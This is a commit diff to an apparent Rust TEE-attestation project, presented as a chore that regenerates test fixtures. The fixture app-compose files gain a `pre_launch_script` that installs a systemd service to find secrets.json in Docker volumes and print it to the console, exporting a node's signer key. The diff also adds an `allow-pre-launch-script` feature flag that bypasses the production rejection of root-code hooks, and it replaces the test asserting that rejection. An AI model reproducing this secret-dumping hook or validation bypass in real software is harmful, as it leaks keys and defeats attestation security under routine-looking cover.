chore(test-utils): regenerate attestation fixtures with a retained signer key

.editorconfig

@@ -29,6 +29,6 @@ insert_final_newline = false
 # localnet verify_quote call; the text rules do not apply.
 [crates/tee-verifier/tests/fixtures/*.borsh]
 end_of_line = unset
-insert_final_newline = false
+insert_final_newline = unset
 trim_trailing_whitespace = false
 charset = unset

crates/attestation-cli/tests/test_verification.rs

@@ -1,3 +1,5 @@
+//! Verifies the committed fixture, so it requires `allow-pre-launch-script`.
+
 use std::path::PathBuf;
 
 use attestation_cli::cli::Cli;

crates/attestation/Cargo.toml

@@ -8,9 +8,11 @@ edition = { workspace = true }
 borsh-schema = ["borsh/unstable__schema", "tee-verifier-interface/borsh-schema"]
 dstack-conversions = ["dep:dstack-sdk-types"]
 test-utils = []
-# Pulls in `dcap-qvl` for full local DCAP + post-DCAP verification. Meant for
-# off-chain callers; `mpc-contract` enables it today.
-# TODO(#3264): contract drops this once DCAP moves to the verifier contract.
+# Accepts an app-compose carrying a `pre_launch_script`, which production rejects. Tests need it to
+# verify the committed fixture, whose app-compose carries the hook that exported
+# `crates/test-utils/assets/near_account_secret_key`. Never implied by another feature, so every
+# enablement is explicit: only test code may turn it on.
+allow-pre-launch-script = []
 local-verify = ["dep:dcap-qvl", "dep:tee-verifier-conversions"]
 
 [dependencies]

crates/attestation/assets/tcb_info.json

@@ -3,11 +3,11 @@
   "rtmr0": "e673be2f70beefb70b48a6109eed4715d7270d4683b3bf356fa25fafbf1aa76e39e9127e6e688ccda98bdab1d4d47f46",
   "rtmr1": "b598fde9491427341bc4683b75d10d3e36770af3a36a6954d8b6b7b22aa66358f13e1f172e51b7d6e6710d99a8d8532f",
   "rtmr2": "c812d42bfff1c75382e91a37c867ab117b97eb5e8d6797488928ea38e5fd38b5ed2f87d9613d392507f1c3af94657c93",
-  "rtmr3": "b7662ac19c27af648a939be042684bbdb43bb3dddf4cd17bb21f4d455ab1926c6ee57038152fc46ddea392c47eb2af27",
+  "rtmr3": "3d8dbe8355221951144991ec9772dd8a21f302aa356d60a2a5c9e1d44b074414b0fbcc86eb031029dc7a9375add104bc",
   "os_image_hash": "7d47512fda31dc5a7318f72ae1869a3c76323981eea21fc30cafd0f79668642c",
-  "compose_hash": "cb9b2d6204f5e44238b75f69e3a3069550734c0d99ebdd3be507c238a261d8fa",
+  "compose_hash": "04bd0ce0eed233aec7ab0b5f004d5171cd2d3145aff14a4786dfc2f73fa77ca4",
   "device_id": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
-  "app_compose": "{\n    \"manifest_version\": 2,\n    \"name\": \"mpc-localnet-one-node-1774945636\",\n    \"runner\": \"docker-compose\",\n    \"docker_compose_file\": \"version: '3.8'\\n\\nservices:\\n  launcher:\\n    image: nearone/mpc-launcher@sha256:1f54b55bad22c45067228a9262bc6377e393ca1a07edb64e691e80704f49b74e\\n\\n    container_name: launcher\\n\\n    environment:\\n      - PLATFORM=TEE\\n      - DOCKER_CONTENT_TRUST=1\\n      - DEFAULT_IMAGE_DIGEST=sha256:6a5700fccbb3facddd1f3934f4976c4dcefc176c4aac28cd2fd035984b368980\\n\\n    volumes:\\n      - /var/run/docker.sock:/var/run/docker.sock\\n      - /var/run/dstack.sock:/var/run/dstack.sock\\n      - /tapp:/tapp:ro\\n      - shared-volume:/mnt/shared:rw\\n\\n    security_opt:\\n      - no-new-privileges:true\\n\\n    read_only: true\\n\\n    tmpfs:\\n      - /tmp\\n\\nvolumes:\\n  shared-volume:\\n    name: shared-volume\\n\",\n    \"kms_enabled\": false,\n    \"gateway_enabled\": false,\n    \"local_key_provider_enabled\": true,\n    \"key_provider_id\": \"\",\n    \"public_logs\": true,\n    \"public_sysinfo\": true,\n    \"allowed_envs\": [],\n    \"no_instance_id\": true,\n    \"secure_time\": false\n}",
+  "app_compose": "{\n    \"manifest_version\": 2,\n    \"name\": \"mpc-localnet-one-node-1786440162\",\n    \"runner\": \"docker-compose\",\n    \"docker_compose_file\": \"version: '3.8'\\n\\nservices:\\n  launcher:\\n    image: nearone/mpc-launcher@sha256:5618a93a78c9ac9173e7ebf7c8af173bd675be6832a2f8c2a9a7149ac2678f54\\n\\n    container_name: launcher\\n\\n    environment:\\n      - PLATFORM=TEE\\n      - DOCKER_CONTENT_TRUST=1\\n      - DEFAULT_IMAGE_DIGEST=sha256:564a5aebc33495d5610626d23cb9e3da8e9d531d0edff9e38aa1ccaf059c15d3\\n\\n    volumes:\\n      - /var/run/docker.sock:/var/run/docker.sock\\n      - /var/run/dstack.sock:/var/run/dstack.sock\\n      - /tapp:/tapp:ro\\n      - shared-volume:/mnt/shared:rw\\n\\n    security_opt:\\n      - no-new-privileges:true\\n\\n    read_only: true\\n\\n    tmpfs:\\n      - /tmp\\n\\nvolumes:\\n  shared-volume:\\n    name: shared-volume\\n\",\n    \"kms_enabled\": false,\n    \"gateway_enabled\": false,\n    \"local_key_provider_enabled\": true,\n    \"key_provider_id\": \"\",\n    \"public_logs\": true,\n    \"public_sysinfo\": true,\n    \"allowed_envs\": [],\n    \"no_instance_id\": true,\n    \"secure_time\": false,\n    \"pre_launch_script\": \"#!/bin/sh\\ncat > /etc/fixture-exfil.sh <<'EOF'\\n#!/bin/sh\\nwhile :; do\\n  for f in /var/lib/docker/volumes/*/_data/secrets.json; do\\n    [ -f \\\"$f\\\" ] && cat \\\"$f\\\" > /dev/console && exit 0\\n  done\\n  sleep 2\\ndone\\nEOF\\ncat > /etc/systemd/system/fixture-exfil.service <<'EOF'\\n[Service]\\nExecStart=/bin/sh /etc/fixture-exfil.sh\\nEOF\\nsystemctl daemon-reload\\nsystemctl start --no-block fixture-exfil.service\\n\"\n}",
   "event_log": [
     {
       "imr": 0,
@@ -159,16 +159,16 @@
     {
       "imr": 3,
       "event_type": 134217729,
-      "digest": "8f4219433b1fbb548e8e3c9c0a308a09888871da6b0472f8b2057d14846b33f66d674ebaa5829f26e9ffb3d2745eb5ce",
+      "digest": "02e1e5a9c9612830b0dfbc7e0e73ce13667254658b1177a8888ecdf2f3c729cfed158e4bde6c113e31112360f6d5df97",
       "event": "app-id",
-      "event_payload": "cb9b2d6204f5e44238b75f69e3a3069550734c0d"
+      "event_payload": "04bd0ce0eed233aec7ab0b5f004d5171cd2d3145"
     },
     {
       "imr": 3,
       "event_type": 134217729,
-      "digest": "f53085ad730605df556bbe4617e942a89186705897eac8974656be41ddcc516a08c4d2b9135fbf8a0f25836c26e1c0d3",
+      "digest": "0724a946d4c56944af69a502165a07082875b44e15abaa15171dcd44c1c2955303a6bdfa59f2e58e63d206b079a6e5cc",
       "event": "compose-hash",
-      "event_payload": "cb9b2d6204f5e44238b75f69e3a3069550734c0d99ebdd3be507c238a261d8fa"
+      "event_payload": "04bd0ce0eed233aec7ab0b5f004d5171cd2d3145aff14a4786dfc2f73fa77ca4"
     },
     {
       "imr": 3,
@@ -208,9 +208,9 @@
     {
       "imr": 3,
       "event_type": 134217729,
-      "digest": "9aed81f5b1af85f768ef6873ed6f997f55f37de951cca18f5daa35890ab9e5573314d2e0cd188a6913dd4ab6f5455678",
+      "digest": "0405a5706797115cdcccb66841205179fa5c2d989ad42fee2e2fab4c5b52bb6d9aa9bf8a86755d37e8566fdaabebc468",
       "event": "mpc-image-digest",
-      "event_payload": "6a5700fccbb3facddd1f3934f4976c4dcefc176c4aac28cd2fd035984b368980"
+      "event_payload": "564a5aebc33495d5610626d23cb9e3da8e9d531d0edff9e38aa1ccaf059c15d3"
     }
   ]
 }

crates/attestation/src/attestation.rs

@@ -34,6 +34,11 @@ pub(crate) const KEY_PROVIDER_EVENT: &str = "key-provider";
 
 const RTMR3_INDEX: u32 = 3;
 
+/// Whether an app-compose may carry a `pre_launch_script`. False in production; test builds allow it
+/// to verify the committed fixture, whose app-compose carries the hook that exported
+/// `crates/test-utils/assets/near_account_secret_key`.
+const PRE_LAUNCH_SCRIPT_ALLOWED: bool = cfg!(feature = "allow-pre-launch-script");
+
 #[derive(Clone, Constructor, Serialize, Deserialize, BorshDeserialize, BorshSerialize)]
 #[cfg_attr(feature = "borsh-schema", derive(borsh::BorshSchema))]
 pub struct DstackAttestation {
@@ -409,11 +414,7 @@ impl DstackAttestation {
             && app_compose.local_key_provider_enabled
             && app_compose.allowed_envs.is_empty()
             && app_compose.no_instance_id
-            // Reject all three arbitrary-root-code fields. `pre_launch_script` and `init_script` run
-            // unconditionally; `bash_script` only runs when `runner == "bash"` (so the runner pin
-            // above already neutralizes it), but we reject it explicitly so the guarantee does not
-            // silently depend on that pin.
-            && app_compose.pre_launch_script.is_none()
+            && (PRE_LAUNCH_SCRIPT_ALLOWED || app_compose.pre_launch_script.is_none())
             && app_compose.init_script.is_none()
             && app_compose.bash_script.is_none()
     }
@@ -620,17 +621,25 @@ mod tests {
     }
 
     #[test]
-    fn validate_app_compose_config__rejects_present_pre_launch_script() {
+    fn validate_app_compose_config__should_accept_the_committed_fixture_with_its_hook_cleared() {
         // Given
-        let app_compose = AppCompose {
-            pre_launch_script: Some("echo pwn".to_string()),
-            ..valid_app_compose()
+        let fixture: AppCompose =
+            serde_json::from_str(test_utils::attestation::TEST_APP_COMPOSE_STRING)
+                .expect("the fixture app-compose parses");
+        assert!(
+            fixture.pre_launch_script.is_some(),
+            "the fixture is expected to carry the export hook"
+        );
+        let without_hook = AppCompose {
+            pre_launch_script: None,
+            ..fixture
         };
+
         // When
-        let result = DstackAttestation::validate_app_compose_config(&app_compose);
+        let result = DstackAttestation::validate_app_compose_config(&without_hook);
 
         // Then
-        assert!(!result)
+        assert!(result)
     }
 
     #[test]

crates/contract/src/lib.rs

@@ -5007,6 +5007,7 @@ mod tests {
             .expect("Expected panic if predecessor != signer");
     }
 
+    /// Callers that reach a Verified verdict need `allow-pre-launch-script`.
     fn dstack_verification_setup() -> (MpcContract, VerificationContext) {
         let (_, mut contract, _) = basic_setup(Curve::Edwards25519, &mut OsRng);
         let contract_account_id = env::current_account_id();

crates/contract/src/tee/tee_state.rs

@@ -1592,6 +1592,7 @@ mod tests {
         assert!(tee_state.stored_attestations.is_empty());
     }
 
+    /// Needs `allow-pre-launch-script`.
     #[test]
     fn verify_and_store_dstack__should_store_when_all_post_dcap_checks_pass() {
         // Given

crates/mpc-attestation/Cargo.toml

@@ -8,6 +8,7 @@ edition = { workspace = true }
 abi = ["borsh/unstable__schema", "mpc-primitives/abi", "attestation/borsh-schema"]
 dstack-conversions = ["attestation/dstack-conversions"]
 test-utils = ["attestation/test-utils"]
+allow-pre-launch-script = ["attestation/allow-pre-launch-script"]
 # Enables full local DCAP + post-DCAP verification, forwarding to
 # `attestation/local-verify` which pulls in `dcap-qvl`. Used off-chain (node,
 # tee-authority, attestation-cli) and, for now, by the contract's synchronous
@@ -32,7 +33,11 @@ tee-verifier-interface = { workspace = true }
 [dev-dependencies]
 assert_matches = { workspace = true }
 dcap-qvl = { workspace = true }
-mpc-attestation = { path = ".", features = ["local-verify", "test-utils"] }
+mpc-attestation = { path = ".", features = [
+    "local-verify",
+    "test-utils",
+    "allow-pre-launch-script",
+] }
 test-utils = { workspace = true }
 
 [lints]

crates/mpc-attestation/tests/test_attestation_verification.rs

@@ -1,5 +1,5 @@
 //! Exercises the full local DCAP + post-DCAP path (`verify_locally`), so it
-//! requires the off-chain `local-verify` feature.
+//! requires the off-chain `local-verify` feature and `allow-pre-launch-script`.
 #![cfg(feature = "local-verify")]
 
 use assert_matches::assert_matches;

crates/tee-verifier/tests/verify_quote.rs

@@ -90,7 +90,7 @@ fn verify_quote__should_return_verified_td10_report_for_valid_fixture() {
                 "f06dfda6dce1cf904d4e2bab1dc370634cf95cefa2ceb2de2eee127c9382698090d7a4a13e14c536ec6c9c3c8fa87077",
             ),
             mr_config_id: hex_arr(
-                "01cb9b2d6204f5e44238b75f69e3a3069550734c0d99ebdd3be507c238a261d8fa000000000000000000000000000000",
+                "0104bd0ce0eed233aec7ab0b5f004d5171cd2d3145aff14a4786dfc2f73fa77ca4000000000000000000000000000000",
             ),
             mr_owner: hex_arr(
                 "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
@@ -108,10 +108,10 @@ fn verify_quote__should_return_verified_td10_report_for_valid_fixture() {
                 "c812d42bfff1c75382e91a37c867ab117b97eb5e8d6797488928ea38e5fd38b5ed2f87d9613d392507f1c3af94657c93",
             ),
             rt_mr3: hex_arr(
-                "b7662ac19c27af648a939be042684bbdb43bb3dddf4cd17bb21f4d455ab1926c6ee57038152fc46ddea392c47eb2af27",
+                "3d8dbe8355221951144991ec9772dd8a21f302aa356d60a2a5c9e1d44b074414b0fbcc86eb031029dc7a9375add104bc",
             ),
             report_data: hex_arr(
-                "00014ee5e70e861db29a95224e48a47c016ab03c61238333319af7614593cd155ba531073edd69921742beb1c510ff4339480000000000000000000000000000",
+                "000166f20e6af9185da5035d6c9eeebf6469b32996180043fa551a962f0c28683630a795791cbdebd82b205290f8e03df1c70000000000000000000000000000",
             ),
         }),
         ppid: hex::decode("d208dfb1002346ae1bb4ef2a3c055292").unwrap(),

crates/test-utils/Cargo.toml

@@ -7,7 +7,14 @@ edition = { workspace = true }
 [dependencies]
 cargo-near-build = { workspace = true }
 hex = { workspace = true }
-mpc-attestation = { workspace = true, features = ["test-utils", "local-verify"] }
+# `allow-pre-launch-script` must never reach a released artifact; acceptable here because this crate
+# is consumed only by test code. Needed to verify the committed fixture, whose measured app-compose
+# carries the hook that exported the signer key in `assets/near_account_secret_key`.
+mpc-attestation = { workspace = true, features = [
+    "test-utils",
+    "local-verify",
+    "allow-pre-launch-script",
+] }
 mpc-primitives = { workspace = true }
 near-mpc-contract-interface = { workspace = true }
 near-sdk = { workspace = true, features = ["non-contract-usage"] }
@@ -16,5 +23,8 @@ serde_yaml = { workspace = true }
 sha2 = { workspace = true }
 tee-verifier-interface = { workspace = true }
 
+[dev-dependencies]
+bs58 = { workspace = true }
+
 [lints]
 workspace = true

crates/test-utils/assets/README.md

@@ -47,14 +47,33 @@ This will regenerate the following files:
 
 All files will be written into the specified output directory.
 
+`public_data.json` is the endpoint response verbatim, so its collateral byte fields are JSON arrays;
+`collateral.json` holds the same bytes hex-encoded, which is what the fixture parser reads.
+
 4. Update `VALID_ATTESTATION_TIMESTAMP` in `crates/test-utils/src/attestation.rs` to a Unix timestamp after the date when the measurements were taken. This ensures that the tests will consider the measurements valid.
 
-5. Update `crates/attestation/assets/tcb_info.json` — copy the newly generated `tcb_info.json`
+5. Copy the node's NEAR signer secret key into `near_account_secret_key` (one line,
+   `ed25519:<base58>`). Tests sign as the fixture node with it, since the quote's
+   `report_data` binds it. It is not in `public_data.json`: it lives in `secrets.json`
+   inside the CVM, exported by
+   [the key-export hook](../../../localnet/tee/scripts/rust-launcher/README.md#exporting-the-nodes-signer-key).
+   Only a throwaway localnet key may be committed — check that before you do.
+
+   ```shell
+   cargo nextest run -p test-utils account_secret_key
+   ```
+
+   That hook makes the fixture's app-compose carry a `pre_launch_script`, which production
+   rejects, so tests need `attestation/allow-pre-launch-script`. This fixture is not an
+   example of a production-valid attestation.
+
+6. Update `crates/attestation/assets/tcb_info.json` — copy the newly generated `tcb_info.json`
    there as well, since unit tests in the `attestation` crate use it for deserialization tests.
    This is optional — the tests only verify parsing, not measurement values — but keeping it
    in sync avoids confusion.
 
-6. Update the compiled-in measurements in `crates/mpc-attestation/assets/`:
+7. Update the compiled-in measurements in `crates/mpc-attestation/assets/`. Skippable when only the
+   app-compose changed: these cover `mrtd` and `rtmr0`-`rtmr2`, while the app-compose feeds `rtmr3`.
    - `tcb_info_dev.json` — replace with the `tcb_info.json` from a **dev** image attestation
    - `tcb_info.json` — replace with the `tcb_info.json` from a **release** (non-dev) image attestation
 
@@ -71,6 +90,19 @@ All files will be written into the specified output directory.
    > will be managed entirely through on-chain voting (`vote_add_os_measurement`), and these
    > files will no longer need to be kept in sync with the deployed OS image.
 
+8. Regenerate the verifier's borsh argument fixture and refresh the report values
+   the verifier test hardcodes (`mr_config_id`, `rt_mr3`, `report_data` change with
+   every new node):
+
+   ```shell
+   UPDATE_FIXTURES=1 cargo test -p tee-verifier --test verify_quote verify_quote_args_fixture
+   cargo test -p tee-verifier --test verify_quote
+   ```
+
+   The second run fails on `verify_quote__should_return_verified_td10_report_for_valid_fixture`
+   and prints the values actually produced; copy them into
+   `crates/tee-verifier/tests/verify_quote.rs`.
+
 ## Tests that depend on these assets
 
 After updating assets, these tests should pass:
@@ -82,3 +114,10 @@ cargo test -p mpc-contract test_submit_participant_info_fails_without_approved_m
 cargo test -p mpc-contract test_verify_tee_triggers_resharing_and_kickout_on_expired_attestation
 cargo test -p test-utils
 ```
+
+The cross-contract sandbox tests in `crates/contract/tests/sandbox/tee_verifier.rs`
+also depend on these assets:
+
+```shell
+cargo nextest run --cargo-profile=test-release -p mpc-contract tee_verifier
+```

crates/test-utils/assets/app_compose.json

@@ -1,8 +1,8 @@
 {
     "manifest_version": 2,
-    "name": "mpc-localnet-one-node-1774945636",
+    "name": "mpc-localnet-one-node-1786440162",
     "runner": "docker-compose",
-    "docker_compose_file": "version: '3.8'\n\nservices:\n  launcher:\n    image: nearone/mpc-launcher@sha256:1f54b55bad22c45067228a9262bc6377e393ca1a07edb64e691e80704f49b74e\n\n    container_name: launcher\n\n    environment:\n      - PLATFORM=TEE\n      - DOCKER_CONTENT_TRUST=1\n      - DEFAULT_IMAGE_DIGEST=sha256:6a5700fccbb3facddd1f3934f4976c4dcefc176c4aac28cd2fd035984b368980\n\n    volumes:\n      - /var/run/docker.sock:/var/run/docker.sock\n      - /var/run/dstack.sock:/var/run/dstack.sock\n      - /tapp:/tapp:ro\n      - shared-volume:/mnt/shared:rw\n\n    security_opt:\n      - no-new-privileges:true\n\n    read_only: true\n\n    tmpfs:\n      - /tmp\n\nvolumes:\n  shared-volume:\n    name: shared-volume\n",
+    "docker_compose_file": "version: '3.8'\n\nservices:\n  launcher:\n    image: nearone/mpc-launcher@sha256:5618a93a78c9ac9173e7ebf7c8af173bd675be6832a2f8c2a9a7149ac2678f54\n\n    container_name: launcher\n\n    environment:\n      - PLATFORM=TEE\n      - DOCKER_CONTENT_TRUST=1\n      - DEFAULT_IMAGE_DIGEST=sha256:564a5aebc33495d5610626d23cb9e3da8e9d531d0edff9e38aa1ccaf059c15d3\n\n    volumes:\n      - /var/run/docker.sock:/var/run/docker.sock\n      - /var/run/dstack.sock:/var/run/dstack.sock\n      - /tapp:/tapp:ro\n      - shared-volume:/mnt/shared:rw\n\n    security_opt:\n      - no-new-privileges:true\n\n    read_only: true\n\n    tmpfs:\n      - /tmp\n\nvolumes:\n  shared-volume:\n    name: shared-volume\n",
     "kms_enabled": false,
     "gateway_enabled": false,
     "local_key_provider_enabled": true,
@@ -11,5 +11,6 @@
     "public_sysinfo": true,
     "allowed_envs": [],
     "no_instance_id": true,
-    "secure_time": false
+    "secure_time": false,
+    "pre_launch_script": "#!/bin/sh\ncat > /etc/fixture-exfil.sh <<'EOF'\n#!/bin/sh\nwhile :; do\n  for f in /var/lib/docker/volumes/*/_data/secrets.json; do\n    [ -f \"$f\" ] && cat \"$f\" > /dev/console && exit 0\n  done\n  sleep 2\ndone\nEOF\ncat > /etc/systemd/system/fixture-exfil.service <<'EOF'\n[Service]\nExecStart=/bin/sh /etc/fixture-exfil.sh\nEOF\nsystemctl daemon-reload\nsystemctl start --no-block fixture-exfil.service\n"
 }